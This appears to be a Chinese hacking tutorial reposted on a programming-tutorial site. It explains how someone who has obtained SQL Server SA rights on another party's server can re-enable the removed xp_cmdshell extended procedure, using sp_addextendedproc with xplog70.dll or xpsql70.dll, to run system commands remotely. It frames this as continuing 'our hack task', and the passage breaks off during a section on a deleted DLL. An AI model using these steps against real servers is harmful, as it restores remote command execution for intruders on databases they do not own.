当前位置: 首页 > 图文教程 > 数据库 > MSSQL > SQL Server SA权限总结经典技术

MSSQL
查看当前进程,或死锁进程,并能自动杀掉死进程
配置SQL Server 2000选项
使用SQL Mail收发和自动处理邮件中的扩展存储过程简介
如何删除数据库中的冗余数据(翻译)
SQL SERVER 2000系统支持的跟踪函数
异构数据库之间的导入导出
一个四用户信息同步更新的存储过程
Oracle数据库诊断案例-redo log日志组处于高激活状态
如何手动删除 SQL Server 2000 默认实例、命名实例或虚拟实例
ORACLE优化器
PL/SQL开发中动态SQL的使用方法
解决windows 2003+Sql2000中OLEDB分布式事务无法启动的解决方案
使用正规表达式编写更好的SQL
查看SQL Server数据空间分配情况
SQL Server编写存储过程小工具(一)
SQL Server编写存储过程小工具(二)
SQL Server编写存储过程小工具(三)
在IE中直接连接SQL数据库
Sql server数据库备份还原另一方法
Windows 2000下优化Oracle9i性能

MSSQL 中的 SQL Server SA权限总结经典技术


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 93 ::
收藏到网摘: n/a

前提需要工具:SQL Query Analyzer和SqlExec Sunx Version   
  第一部分:  
  有关去掉xp_cmdshell来保护系统的分析总结:
  首先知道一下语句:
  1.去掉xp_cmdshell扩展过程的方法是使用如下语句:
  if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
  2.添加xp_cmdshell扩展过程的方法是使用如下语句:
  sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
  现在看看现象:
  我们在取得SA权限后远程用Sqlexec执行cmd命令,出现提示SQL_ERROR,那么很可能是去掉了xp_cmdshell。
  
  现在来看看被去掉xp_cmdshell后恢复的两种方法:
  
  方法一、使用SQL Query Analyzer连接对方后直接写入,挺方便sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'方法二、使用SqlExec Sunx Version首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入sp_addextendedproc 'xp_cmdshell','xpsql70.dll'或者对Sql2000情况下使用sp_addextendedproc 'xp_cmdshell','xplog70.dll'另外使用SqlExec Sunx Version来去除xp_cmdshell的方法和加的时候选择条件一样,然后输入sp_dropextendedproc 'xp_cmdshell'就可以了
  
  第二部分:
  
  假如对方已经把xplog70.dll删除或者改了名,我们来用下面的方法继续我们的hack任务:
  当出现如下现象暗示代表很有可能是xplog70.dll删除或者改了名。
  在查询分析器中写入sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'提示数据库中已存在名为'xp_cmdshell'的对象。